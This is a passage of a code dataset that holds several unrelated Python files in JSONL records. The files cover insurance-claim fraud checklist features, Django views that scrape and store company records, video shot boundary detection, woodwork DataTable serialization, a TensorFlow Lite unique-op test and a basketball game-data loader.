return file_df\r\n\r\n @staticmethod\r\n def checklist3():\r\n \"\"\"Cambio reciente de coberturas y declaración inmediata de siniestro que afecta al cambio \r\n (p.ej. aumento de capitales)\r\n :return: This return a Dataframe with the columns 'id_siniestro', 'checklist3i', where 'checklist3a' is the \r\n difference between the last guarantee modification and the claim occurance, 'checklist3b) is the difference\r\n between the last data modification and the claim occurance, checklist3c) is the difference between the \r\n last SUPLEMENTO added and the claim occurance.\r\n \"\"\"\r\n df_test_hist_mov_pol_ref = pd.read_csv(\r\n STRING.histmovpolref_input_prediction, sep=',', encoding='latin1', quotechar='\"')\r\n\r\n df_test_hist_mov_pol_ref = df_test_hist_mov_pol_ref[['id_siniestro', 'hist_movimiento_mod_garantias_fecha',\r\n 'hist_movimiento_siniestro_fecha',\r\n 'hist_movimiento_suplemento_fecha',\r\n 'hist_movimiento_mod_datos_fecha']]\r\n\r\n for i in ['hist_movimiento_mod_garantias_fecha', 'hist_movimiento_siniestro_fecha',\r\n 'hist_movimiento_suplemento_fecha', 'hist_movimiento_mod_datos_fecha']:\r\n df_test_hist_mov_pol_ref[i] = pd.to_datetime(df_test_hist_mov_pol_ref[i], format='%Y-%m-%d',\r\n errors='coerce')\r\n\r\n df_test_hist_mov_pol_ref['checklist3a'] = pd.Series(df_test_hist_mov_pol_ref['hist_movimiento_siniestro_fecha']\r\n - df_test_hist_mov_pol_ref[\r\n 'hist_movimiento_mod_garantias_fecha']).dt.days / 365\r\n\r\n df_test_hist_mov_pol_ref['checklist3b'] = pd.Series(df_test_hist_mov_pol_ref['hist_movimiento_siniestro_fecha']\r\n - df_test_hist_mov_pol_ref[\r\n 'hist_movimiento_mod_datos_fecha']).dt.days / 365\r\n\r\n df_test_hist_mov_pol_ref['checklist3c'] = pd.Series(df_test_hist_mov_pol_ref['hist_movimiento_siniestro_fecha']\r\n - df_test_hist_mov_pol_ref[\r\n 'hist_movimiento_suplemento_fecha']).dt.days / 365\r\n\r\n del df_test_hist_mov_pol_ref['hist_movimiento_mod_garantias_fecha']\r\n del df_test_hist_mov_pol_ref['hist_movimiento_mod_datos_fecha']\r\n del df_test_hist_mov_pol_ref['hist_movimiento_suplemento_fecha']\r\n del df_test_hist_mov_pol_ref['hist_movimiento_siniestro_fecha']\r\n\r\n return df_test_hist_mov_pol_ref\r\n\r\n @staticmethod\r\n def checklist4():\r\n \"\"\"\r\n 2 ó + siniestros con daños importantes (> 5.000 euros en Hogar y Comunidades ó >10.000 en Comercio) (*)\r\n # Se toma la reserva inicial del siniestro.\r\n :return: This return a Dataframe with the columns 'id_siniestro', 'checklist4_poliza', 'checklist4_nif', where \r\n 'checklist4_' represents how many sinister (by policy/nif) has an initial reserve >= 5000 since 2015\r\n \"\"\"\r\n df_test_id = pd.read_csv(STRING.id_input_prediction, sep=',',\r\n encoding='utf-8', quotechar='\"')\r\n df_test_id.columns = [col.replace('\"', '') for col in df_test_id.columns]\r\n df_test_id.columns = [col.replace(' ', '') for col in df_test_id.columns]\r\n df_po_reserva_test = pd.read_csv(STRING.poreservable_input_prediction,\r\n sep=',',\r\n encoding='utf-8', quotechar='\"')\r\n reserva_base = pd.read_csv(STRING.poreservable_input_training,\r\n sep=',',\r\n encoding='utf-8', quotechar='\"')\r\n id_base = pd.read_csv(STRING.id_input_training,\r\n sep=',',\r\n encoding='utf-8', quotechar='\"')\r\n id_base.columns = [col.replace('\"', '') for col in id_base.columns]\r\n id_base.columns = [col.replace(' ', '') for col in id_base.columns]\r\n id_base = id_base[['id_siniestro', 'id_fiscal']]\r\n df_test_id = df_test_id[['id_siniestro', 'id_fiscal']]\r\n id_base = pd.concat([id_base, df_test_id], axis=0)\r\n\r\n # We take the variables we need and concat the new sinister with past sinister\r\n reserva_indem_base = reserva_base[['id_siniestro', 'po_res_cobertura_id', 'po_res_indem', 'id_poliza']]\r\n reserva_indem = df_po_reserva_test[['id_siniestro', 'po_res_cobertura_id', 'po_res_indem', 'id_poliza']]\r\n\r\n reserva_indem = pd.concat([reserva_indem, reserva_indem_base], axis=0)\r\n del reserva_base\r\n del reserva_indem_base\r\n\r\n # We merge with ID by sinister\r\n reserva_indem['id_siniestro'] = reserva_indem['id_siniestro'].map(int)\r\n id_base['id_siniestro'] = id_base['id_siniestro'].map(int)\r\n\r\n reserva_indem = pd.merge(reserva_indem, id_base, how='left', on='id_siniestro')\r\n\r\n # We calculate the initial RESERVA for each policy and create the variable RESERVA > 5000\r\n reserva_indem = reserva_indem.drop_duplicates(subset=['id_siniestro', 'po_res_cobertura_id',\r\n 'po_res_indem'],\r\n keep='first')\r\n del reserva_indem['po_res_cobertura_id']\r\n reserva_indem['po_res_indem'] = reserva_indem['po_res_indem'].map(float)\r\n reserva_indem = reserva_indem.groupby(['id_siniestro', 'id_poliza', 'id_fiscal'])[\r\n 'po_res_indem'].sum().reset_index()\r\n reserva_indem['po_res_indem_mayor_5000'] = pd.Series(0, index=reserva_indem.index)\r\n reserva_indem.loc[reserva_indem['po_res_indem'] >= 5000, 'po_res_indem_mayor_5000'] = 1\r\n\r\n # Now we have the values by sinister, we group by id_poliza and by nif\r\n poliza_indem = reserva_indem.groupby(['id_poliza'])['po_res_indem_mayor_5000'].sum().reset_index()\r\n nif_indem = reserva_indem.groupby(['id_fiscal'])['po_res_indem_mayor_5000'].sum().reset_index()\r\n\r\n # Merge the results\r\n poliza_indem['id_poliza'] = poliza_indem['id_poliza'].map(str)\r\n reserva_indem['id_poliza'] = reserva_indem['id_poliza'].map(str)\r\n poliza_indem.columns = ['id_poliza', 'checklist4_poliza']\r\n\r\n nif_indem['id_fiscal'] = nif_indem['id_fiscal'].map(str)\r\n reserva_indem['id_fiscal'] = reserva_indem['id_fiscal'].map(str)\r\n nif_indem.columns = ['id_fiscal', 'checklist4_nif']\r\n\r\n reserva_indem = pd.merge(reserva_indem, poliza_indem, how='left', on='id_poliza')\r\n reserva_indem = pd.merge(reserva_indem, nif_indem, how='left', on='id_fiscal')\r\n del reserva_indem['id_poliza']\r\n del reserva_indem['id_fiscal']\r\n\r\n # We need just to take the new sinister\r\n df_po_reserva_test = df_po_reserva_test[['id_siniestro']]\r\n df_po_reserva_test['id_siniestro'] = df_po_reserva_test['id_siniestro'].map(int)\r\n df_po_reserva_test = pd.merge(df_po_reserva_test, reserva_indem, how='left', on='id_siniestro')\r\n\r\n return df_po_reserva_test\r\n","sub_path":"resources/fraud_home/checklist.py","file_name":"checklist.py","file_ext":"py","file_size_in_byte":9506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"34709617","text":"from django.shortcuts import render,redirect,get_object_or_404\nfrom .models import UserSearches,CompanyDetail,Charges,Directors,CinModel,ForeignCompanyDetail,LLPDetails\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom . import scrap\nfrom django.http import HttpResponse,Http404\nfrom django.views.generic import View,TemplateView,ListView,DetailView,CreateView\nfrom .forms import SearchCompanies,PreviousData\nfrom django import forms\nfrom datetime import datetime\n# Create your views here.\n\n@login_required\ndef companyPage(request,cin,uid=None):\n\n #cin=slug\n #c = get_object_or_404(CinModel, CIN=cin)\n form = PreviousData(cin=cin)\n if request.method=='POST':\n form = PreviousData(cin,request.POST)\n if form.is_valid():\n sel = form.cleaned_data['previuos']\n c = get_object_or_404(CinModel, pk=sel)\n #print(sel,c)\n\n\n\n elif uid!=None:\n c = get_object_or_404(UserSearches, pk=uid)\n if c.user!=request.user:\n raise Http404(\"Not authenticated\")\n c=c.companySearched\n else:\n #get_object_or_404(CinModel, CIN=cin)\n comlis = CinModel.objects.filter(CIN=cin).order_by('-create_date')\n c = comlis[0]\n cc = UserSearches(CIN=cin,user=request.user,companySearched=c)\n cc.save()\n\n t = c.type\n if t == 'company':\n companydata = c.companydetail\n elif t== 'llp':\n companydata = c.llpdetail\n elif t== 'foreigncompany':\n companydata = c.foreigncompanydetail\n context={\n 'type' : c.type,\n 'companydata' : companydata ,\n 'form' : form,\n }\n\n return render(request,'companies/companydetail.html',context=context)\n\nclass SeachesListView(LoginRequiredMixin,ListView):\n login_url = '/accounts/login/'\n redirect_field_name = 'companies/recentsearches'\n\n model = UserSearches\n context_object_name = 'allsearches'\n template_name = 'companies/usersearches.html'\n def get_queryset(self):\n return UserSearches.objects.filter(user__exact=self.request.user).order_by('-create_date')\n\n@login_required\ndef companySearchView(request):\n form=SearchCompanies()\n if request.method == 'POST':\n form = SearchCompanies(request.POST)\n if form.is_valid():\n cin = form.cleaned_data['CIN']\n lis = CinModel.objects.filter(CIN=cin).order_by('-create_date')\n if len(lis)==0:\n storedata(request,cin)\n else:\n if lis[0].isupdated()==False:\n msg = scrap.getalldata(cin)\n if msg!=\"success\":\n raise Http404(\"Not able to Process !!!!!!!!!!!!\")\n#fix me______________________\n storedata(request,cin)\n print('updating')\n\n print('working')\n return redirect('companies:companydetail',cin=cin)\n return render(request,'companies/search_page.html',{'form':form})\n\n\n\n@login_required\ndef storedata(request,cin):\n #scrap.getalldata(cin)\n\n comdir = scrap.getDirectors()\n comchar = scrap.getCharges()\n companytype = scrap.getType()\n\n cinentry = CinModel(CIN = cin,type=companytype)\n cinentry.save()\n\n #cc = UserSearches(CIN=cin,user=request.user,companySearched=cinentry)\n #cc.save()\n\n comp=foreign=cllp=None\n\n if companytype == 'company':\n print(\"dataaa\")\n comdet = scrap.getCompanyDetails()\n cd = CompanyDetail(user = cinentry,\n CIN = comdet[0],\n CompanyName = comdet[1],\n ROCCode\t= comdet[2],\n RegistrationNumber\t = comdet[3],\n CompanyCategory\t= comdet[4],\n CompanySubCategory = comdet[5],\n ClassofCompany = comdet[6],\n AuthorisedCapital = comdet[7],\n PaidupCapital = comdet[8],\n NumberofMembers = comdet[9],\n DateofIncorporation\t= comdet[10],\n RegisteredAddress =\tcomdet[11],\n AddressotherthanRo = comdet[12],\n EmailId\t = comdet[13],\n WhetherListed =\tcomdet[14],\n ACTIVEcompliance = comdet[15],\n Suspendedatstockexchange = comdet[16],\n DateoflastAGM = comdet[17],\n DateofBalanceSheet = comdet[18],\n CompanyStatus=comdet[19])\n cd.save()\n comp = cd\n\n elif companytype == 'llp':\n llpdta = scrap.getLlpDetails()\n cd = LLPDetails( user = cinentry,\n LLPIN = llpdta[0],\n LLPName = llpdta[1],\n NumberofPartners = llpdta[2],\n NumberofDesignatedPartners = llpdta[3],\n ROCCode\t= llpdta[4],\n DateofIncorporation = llpdta[5],\n RegisteredAddress = llpdta[6],\n EmailId\t= llpdta[7],\n Previousfirm = llpdta[8],\n TotalObligationofContribution = llpdta[9],\n MaindivisionofbusinessactivityinIndia = llpdta[10],\n Descriptionofmaindivision = llpdta[11],\n DateofAccountsSolvencyfiled\t= llpdta[12],\n DateofAnnualReturnfiled\t= llpdta[13],\n LLPStatus = llpdta[14])\n cd.save()\n cllp=cd\n elif companytype == 'foreigncompany':\n fcdata = scrap.getForeignCompanyDetails()\n cd = ForeignCompanyDetail(user = cinentry,\n FCRN = fcdata[0],\n CompanyName\t= fcdata[1],\n DateofIncorporation = fcdata[2],\n CountryofIncorporation = fcdata[3],\n RegisteredAddress = fcdata[4],\n EmailId = fcdata[5],\n ForeignCompanywithShareCapital = fcdata[6],\n CompanyStatus = fcdata[7],\n TypeofOffice = fcdata[8],\n Details\t= fcdata[9],\n MaindivisioninIndia\t= fcdata[10],\n Descriptionofmaindivision = fcdata[11])\n cd.save()\n foreign = cd\n\n Charges.objects.bulk_create([Charges(company = comp,\n foreigncompany=foreign,\n llp = cllp,\n Assetsundercharge = com[0],\n ChargeAmount = com[1],\n DateofCreation = com[2],\n DateofModification = com[3],\n Status = com[4]) for com in comchar ])\n '''for com in comchar:\n chrge = Charges(company = cd,\n Assetsundercharge = com[0],\n ChargeAmount = com[1],\n DateofCreation = com[2],\n DateofModification = com[3],\n Status = com[4])\n chrge.save()\n\n for direc in comdir:\n comd = Directors(company = cd,\n DIN = direc[0],\n Name = direc[1],\n Begindate = direc[2],\n Enddate = direc[3],\n SurrenderedDIN =direc[4])\n comd.save()'''\n Directors.objects.bulk_create([Directors(company = comp,\n foreigncompany=foreign,\n llp = cllp,\n DIN = direc[0],\n Name = direc[1],\n Begindate = direc[2],\n Enddate = direc[3],\n SurrenderedDIN =direc[4]) for direc in comdir])\n","sub_path":"companies/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"155709505","text":"import os\nimport cv2\nimport argparse\nimport numpy as np\nimport glob\n\ndef parser():\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument(\"-i\", type=str, help=\"input file name in the input directory\", required=True)\n\tparser.add_argument(\"-u\", type=float, help=\"upper threshold of hs histogram difference between consecutive frames for cut detection (default: 0.5)\", required=False)\n\tparser.add_argument(\"-l\", type=float, help=\"lower threshold of hs histogram difference between consecutive frames for cut detection (defulat: 0.1)\", required=False)\n\n\treturn parser.parse_args()\n\ndef ShotBoundaryDetection(ifilename, lower_thr=0.1, upper_thr=0.5):\n\tpaths = glob.glob(\"../input/\" + ifilename + \".*\")\n\t\n\t# set up\n\tif not os.path.exists(paths[0]):\n\t\tprint(ifilename + \" does not exist in the input directory.\")\n\telse:\n\t\tinput_path = paths[0]\n\t\toutput_path = \"../output/\" + ifilename + \"/shot/\"\n\n\t\tif not os.path.exists(output_path):\n\t\t\tos.makedirs(output_path)\n\n\t\tprint(\"input : \" + input_path)\n\t\tprint(\"output: \" + output_path)\n\n\t\t# initialization\n\t\tcap = cv2.VideoCapture(input_path)\n\t\tw = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))\n\t\th = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\n\t\tfps = cap.get(cv2.CAP_PROP_FPS)\n\t\tnum_pixels = w * h\n\n\t\tflag = False\n\t\tpre_hist = np.zeros((180, 256))\n\t\tshot_idx = 0\n\t\tframe_idx = 0\n\t\t\n\t\tfourcc = cv2.VideoWriter_fourcc(*\"XVID\")\n\t\twriter = cv2.VideoWriter(output_path + \"{0:04d}.avi\".format(shot_idx), fourcc, fps, (w, h))\n\n\t\twhile(cap.isOpened()):\n\t\t\tif frame_idx % 100 == 0:\n\t\t\t\tprint(\"frame #{}\".format(frame_idx))\n\t\t\t\n\t\t\tret, frame = cap.read()\n\t\t\tif ret == False:\n\t\t\t\tbreak\n\n\t\t\t# convert image from RGB to HSV\n\t\t\thsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV_FULL)\n\t\t\t# calculate histogram of HSV\n\t\t\thist = cv2.calcHist([hsv], [0, 1], None, [64, 64], [0, 256, 0, 256])\n\n\t\t\tif frame_idx != 0:\n\t\t\t\tdiff = np.sum(np.abs(pre_hist - hist)) / num_pixels\n\t\t\t\tif flag and diff > upper_thr:\n\t\t\t\t\tflag = False\n\t\t\t\t\tshot_idx += 1;\n\t\t\t\t\twriter.release()\n\t\t\t\t\twriter = cv2.VideoWriter(output_path + \"{0:04d}.avi\".format(shot_idx), fourcc, fps, (w, h))\n\t\t\t\telif (not flag) and diff < lower_thr:\n\t\t\t\t\tflag = True\n\n\t\t\twriter.write(frame)\n\n\t\t\t# update\n\t\t\tframe_idx += 1\n\t\t\tpre_hist = hist\n\n\t\twriter.release()\n\t\tcap.release()\n\nif __name__==\"__main__\":\n\t# parse command line arguments\n\targs = parser()\n\tif args.i != None:\n\t\tif (args.l != None) and (args.u != None):\n\t\t\tShotBoundaryDetection(args.i, args.l, args.u)\n\t\telse:\n\t\t\tShotBoundaryDetection(args.i)\n","sub_path":"src/ShotBoundaryDetection.py","file_name":"ShotBoundaryDetection.py","file_ext":"py","file_size_in_byte":2467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"609981874","text":"import timepix_parser as tp\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pickle\n\nwith open('run7_clusters.pickle', 'r') as f:\n clusters, hit_size, pixels, dv_range, dv_range_a, dv_range_b = pickle.load(f)\n\nx = dv_range\ny = []\n\nfor voltage in range(len(dv_range)):\n y.append(np.mean(pixels[voltage]))\n\nplt.subplot(111)\nplt.plot(x, y)\nplt.xlabel('Voltage')\nplt.ylabel('Avg. Pixel Hits Per Frame')\nplt.axis([0, 10, 0, 30])\nplt.grid(True)\n\nplt.show()\n","sub_path":"voltage_vs_avgnpixelhits_plot.py","file_name":"voltage_vs_avgnpixelhits_plot.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"237518547","text":"\n\nfrom xai.brain.wordbase.nouns._suffragette import _SUFFRAGETTE\n\n#calss header\nclass _SUFFRAGETTES(_SUFFRAGETTE, ):\n\tdef __init__(self,): \n\t\t_SUFFRAGETTE.__init__(self)\n\t\tself.name = \"SUFFRAGETTES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"suffragette\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_suffragettes.py","file_name":"_suffragettes.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"457663545","text":"#!/usr/bin/env python\r\n\r\nfrom temp_conv import c2f\r\n\r\nwhile True:\r\n user_input = input('Enter Celsius temp: ')\r\n if user_input.lower() == 'q':\r\n break\r\n if user_input == '':\r\n continue\r\n celsius = float(user_input)\r\n fahrenheit = c2f(celsius)\r\n print('{:.1f} C is {:.1f} F\\n'.format(celsius, fahrenheit))\r\n\r\n","sub_path":"Python_Class/py3intro3day 2/ANSWERS/c2f_loop_mod.py","file_name":"c2f_loop_mod.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"541679254","text":"# Copyright 2019 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\"\"\"Test configs for unique.\"\"\"\nimport tensorflow as tf\nfrom tensorflow.lite.testing.zip_test_utils import create_tensor_data\nfrom tensorflow.lite.testing.zip_test_utils import make_zip_of_tests\nfrom tensorflow.lite.testing.zip_test_utils import register_make_test_function\n\n\n@register_make_test_function()\ndef make_unique_tests(options):\n \"\"\"Make a set of tests for Unique op.\"\"\"\n\n test_parameters = [{\n \"input_shape\": [[1]],\n \"index_type\": [tf.int32, tf.int64, None],\n \"input_values\": [3]\n }, {\n \"input_shape\": [[5]],\n \"index_type\": [tf.int32, tf.int64],\n \"input_values\": [[3, 2, 1, 2, 3]]\n }, {\n \"input_shape\": [[7]],\n \"index_type\": [tf.int32, tf.int64],\n \"input_values\": [[1, 1, 1, 1, 1, 1, 1]]\n }, {\n \"input_shape\": [[5]],\n \"index_type\": [tf.int32, tf.int64],\n \"input_values\": [[3, 2, 1, 0, -1]]\n }]\n\n def build_graph(parameters):\n \"\"\"Build the graph for the test case.\"\"\"\n\n input_tensor = tf.compat.v1.placeholder(\n dtype=tf.int32, name=\"input\", shape=parameters[\"input_shape\"])\n if parameters[\"index_type\"] is None:\n output = tf.unique(input_tensor)\n else:\n output = tf.unique(input_tensor, parameters[\"index_type\"])\n\n return [input_tensor], output\n\n def build_inputs(parameters, sess, inputs, outputs):\n input_values = [create_tensor_data(tf.int32, parameters[\"input_shape\"])]\n return input_values, sess.run(\n outputs, feed_dict=dict(zip(inputs, input_values)))\n\n make_zip_of_tests(options, test_parameters, build_graph, build_inputs)\n","sub_path":"tensorflow/lite/testing/op_tests/unique.py","file_name":"unique.py","file_ext":"py","file_size_in_byte":2245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"55876723","text":"### Je ne pouvais pas trouver un partenaire pour ce travail\n### J'ai même posté sur facebook mais je n'ai eu aucune réponse\n### J'espere que ca c'est d'accord\n\n### Question 1 ###\ndef ajoute(m):\n for i in range(len(m)): # les rangees du matrice\n for j in range(len(m[i])): # les colonnes du matrice\n m[i][j] += 1 # ajouter 1 a chaque element\n\ndef ajoute_v2(m):\n res = [] # creer un nouvelle liste vide\n for i in range(len(m)):\n res2 = [0] * len(m[i]) # creer un nouvelle liste temporaire\n for j in range(len(res2)):\n res2[j] = m[i][j] # ajouter les valeurs du matrice au liste temporaire\n res.append(res2) # ajouter le liste temporaire a la liste vide\n for i in range(len(res)):\n for j in range(len(res[i])):\n res[i][j] += 1 # ajouter 1 aux elements dans la nouvelle liste\n return res\n\nprint(\"Entrer les elements de la matrice avec espaces entre les colonnes.\\nUne rangee par ligne, et une ligne vide a la fin.\")\nm = [] # creer une liste vide\nnums = str(input()) # prendre le input de l'utilisateur\ni = 0\nwhile(nums != \"\"): # arrete quand l'utilisateur entre rien\n nums = nums.split() # creer une liste de str qui represent les numeraux\n for i in range(len(nums)):\n nums[i] = int(nums[i]) # changer les str en int\n m.append(nums) # ajjouter les int a la matrice\n i += 1\n nums = str(input()) # prend un autre input\nprint(\"La matrice est:\\n\" + str(m))\najoute(m)\nprint(\"Apres execution de la fonction ajoute, la matrice est:\\n\" + str(m))\nm2 = ajoute_v2(m)\nprint(\"Une nouvelle matrice creee avec ajoute_v2:\\n\" + str(m2))\nprint(\"Apres execution de la fonction ajoute_v2, la matrice initiale est:\\n\" + str(m))\n","sub_path":"Assignment 4/d4q1.py","file_name":"d4q1.py","file_ext":"py","file_size_in_byte":1711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"376209916","text":"import datetime\nimport json\nimport os\nimport tarfile\nimport tempfile\n\nimport pandas as pd\n\nimport woodwork as ww\nfrom woodwork.s3_utils import get_transport_params, use_smartopen\nfrom woodwork.type_sys.utils import (\n _get_ltype_class,\n _get_specified_ltype_params\n)\nfrom woodwork.utils import _is_s3, _is_url, import_or_none\n\ndd = import_or_none('dask.dataframe')\nks = import_or_none('databricks.koalas')\n\nSCHEMA_VERSION = '5.0.0'\nFORMATS = ['csv', 'pickle', 'parquet']\n\n\ndef datatable_to_description(datatable):\n '''Gets the description for a DataTable, including typing information for each column\n and loading information.\n '''\n df = datatable.to_dataframe()\n ordered_columns = df.columns\n column_metadata = [\n {\n 'name': col.name,\n 'ordinal': ordered_columns.get_loc(col.name),\n 'logical_type': {\n 'parameters': _get_specified_ltype_params(col.logical_type),\n 'type': str(_get_ltype_class(col.logical_type))\n },\n 'physical_type': {\n 'type': str(col.dtype)\n },\n 'semantic_tags': sorted(list(col.semantic_tags)),\n 'description': col.description,\n 'metadata': col.metadata\n }\n for col in datatable.columns.values()\n ]\n\n if dd and isinstance(df, dd.DataFrame):\n table_type = 'dask'\n elif ks and isinstance(df, ks.DataFrame):\n table_type = 'koalas'\n else:\n table_type = 'pandas'\n\n return {\n 'schema_version': SCHEMA_VERSION,\n 'name': datatable.name,\n 'index': datatable.index,\n 'time_index': datatable.time_index,\n 'column_metadata': column_metadata,\n 'loading_info': {\n 'table_type': table_type\n },\n 'table_metadata': datatable.metadata\n }\n\n\ndef write_datatable(datatable, path, profile_name=None, **kwargs):\n '''Serialize datatable and write to disk or S3 path.\n\n Args:\n datatable (DataTable) : Instance of :class:`.DataTable`.\n path (str) : Location on disk to write datatable data and description.\n profile_name (str, bool): The AWS profile specified to write to S3. Will default to None and search for AWS credentials.\n Set to False to use an anonymous profile.\n kwargs (keywords) : Additional keyword arguments to pass as keywords arguments to the underlying serialization method or to specify AWS profile.\n '''\n if _is_s3(path):\n with tempfile.TemporaryDirectory() as tmpdir:\n os.makedirs(os.path.join(tmpdir, 'data'))\n dump_table(datatable, tmpdir, **kwargs)\n file_path = create_archive(tmpdir)\n\n transport_params = get_transport_params(profile_name)\n use_smartopen(file_path, path, read=False, transport_params=transport_params)\n elif _is_url(path):\n raise ValueError(\"Writing to URLs is not supported\")\n else:\n path = os.path.abspath(path)\n os.makedirs(os.path.join(path, 'data'), exist_ok=True)\n dump_table(datatable, path, **kwargs)\n\n\ndef dump_table(datatable, path, **kwargs):\n '''Writes datatable description to table_description.json at the specified path.\n '''\n loading_info = write_table_data(datatable, path, **kwargs)\n description = datatable_to_description(datatable)\n description['loading_info'].update(loading_info)\n\n try:\n file = os.path.join(path, 'table_description.json')\n with open(file, 'w') as file:\n json.dump(description, file)\n except TypeError:\n raise TypeError('DataTable is not json serializable. Check table and column metadata for values that may not be serializable.')\n\n\ndef write_table_data(datatable, path, format='csv', **kwargs):\n '''Write underlying datatable data to disk or S3 path.\n\n Args:\n datatable (DataTable) : Instance of :class:`.DataTable`.\n path (str) : Location on disk to write datatable data.\n format (str) : Format to use for writing datatable data. Defaults to csv.\n kwargs (keywords) : Additional keyword arguments to pass as keywords arguments to the underlying serialization method.\n\n Returns:\n loading_info (dict) : Information on storage location and format of datatable data.\n '''\n format = format.lower()\n\n dt_name = datatable.name or 'data'\n df = datatable.to_dataframe()\n\n if dd and isinstance(df, dd.DataFrame) and format == 'csv':\n basename = \"{}-*.{}\".format(dt_name, format)\n else:\n basename = '.'.join([dt_name, format])\n location = os.path.join('data', basename)\n file = os.path.join(path, location)\n\n if format == 'csv':\n compression = kwargs['compression']\n if ks and isinstance(df, ks.DataFrame):\n df = df.copy()\n columns = list(df.select_dtypes('object').columns)\n df[columns] = df[columns].astype(str)\n compression = str(compression)\n df.to_csv(\n file,\n index=kwargs['index'],\n sep=kwargs['sep'],\n encoding=kwargs['encoding'],\n compression=compression\n )\n elif format == 'pickle':\n # Dask and Koalas currently do not support to_pickle\n if not isinstance(df, pd.DataFrame):\n msg = 'DataFrame type not compatible with pickle serialization. Please serialize to another format.'\n raise ValueError(msg)\n df.to_pickle(file, **kwargs)\n elif format == 'parquet':\n # Latlong columns in pandas and Dask DataFrames contain tuples, which raises\n # an error in parquet format.\n df = df.copy()\n latlong_columns = [col_name for col_name, col in datatable.columns.items() if _get_ltype_class(col.logical_type) == ww.logical_types.LatLong]\n df[latlong_columns] = df[latlong_columns].astype(str)\n\n df.to_parquet(file, **kwargs)\n else:\n error = 'must be one of the following formats: {}'\n raise ValueError(error.format(', '.join(FORMATS)))\n return {'location': location, 'type': format, 'params': kwargs}\n\n\ndef create_archive(tmpdir):\n '''When seralizing to an S3 URL, writes a tar archive.\n '''\n file_name = \"dt-{date:%Y-%m-%d_%H%M%S}.tar\".format(date=datetime.datetime.now())\n file_path = os.path.join(tmpdir, file_name)\n tar = tarfile.open(str(file_path), 'w')\n tar.add(str(tmpdir) + '/table_description.json', arcname='/table_description.json')\n tar.add(str(tmpdir) + '/data', arcname='/data')\n tar.close()\n return file_path\n","sub_path":"woodwork/serialize.py","file_name":"serialize.py","file_ext":"py","file_size_in_byte":6518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"249549121","text":"from __future__ import absolute_import, division, print_function\n\n# TensorFlow and tf.keras\nimport tensorflow as tf\nfrom tensorflow import keras\n\n# Helper libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nimport math\ndef convertToNumber(s):\n return int.from_bytes(s.encode(), 'little')\n\ndef convertFromNumber(n):\n return n.to_bytes(math.ceil(n.bit_length() / 8), 'little').decode()\n\ndef load_csv( year):\n filename = 'game_data_{}.csv'.format(year)\n with open(filename, 'r') as f:\n headers = f.readline().replace('/', '_').split(',')\n data = f.readlines()\n\n #data =\n\n filename = 'team_data_{}.csv'.format(year)\n with open(filename, 'r') as f:\n team_headers = f.readline().replace('/', '_').split(',')\n team_data = f.readlines()\n return headers, data, team_headers, team_data\n\ndef load_data(years =[2015]):\n data = []\n teams = {}\n games = []\n for year in years:#[2018, 2017, 2016, 2015, 2014]:\n gh, gd, h, d = load_csv(year)\n for team in d:\n t = Team(h, team, year)\n #if len(t.misc)\n teams[f'{t.name}_{year}'] = t\n for row in gd:\n #print(teams.keys())\n g = Game(teams, row, year)\n if not g.flag:\n games.append(g)\n return teams, games\n\nclass Team:\n\n def __init__(self, headers, data, year):\n self.year = year\n self.keys = headers\n data = data.split(',')\n\n #input()\n for d, header in zip(data, headers):\n if header.strip():\n if header == 'misc':\n z = d.split('^')\n # print(z)\n try:\n setattr(self, header, list(map(float, z)))\n except Exception as e:\n setattr(self, header, [])\n else:\n try:\n setattr(self, header.strip(), float(d))\n except:\n setattr(self, header.strip(), d.strip())\n #print(header.strip(), d)\n self.name_hash = convertToNumber(self.name)\n @property\n def win_loss(self):\n return self._win_loss\n\n @win_loss.setter\n def win_loss(self, val):\n x = val.split('-')\n self._win_loss = float(x[0]) - float(x[1])\n\n @property\n def list_data(self):\n #self.win_loss,\n data = [self.adjEM, self.adjD, self.adjT, self.luck,]\n #self.oppO, self.oppD, self.noncon_adjEM]\n #data.extend(self.misc)\n data = [self.luck]#[self.win_loss]\n data.extend(self.misc)\n return data\n\nclass Game:\n _game_state = None\n\n def __init__(self, team_data, game_state, year):\n self.year = year\n #print(game_state)\n self.game_state = game_state\n self.team_1 = team_data[f\"{self.team_1_name}_{year}\"]\n self.team_2 = team_data[f'{self.team_2_name}_{year}']\n if len(self.team_1.misc) < 10 or len(self.team_2.misc) < 10:\n self.flag = True\n else:\n self.flag = False\n\n\n @property\n def game_state(self):\n return self._game_state\n\n @game_state.setter\n def game_state(self, val):\n\n d = val.strip().split(',')\n 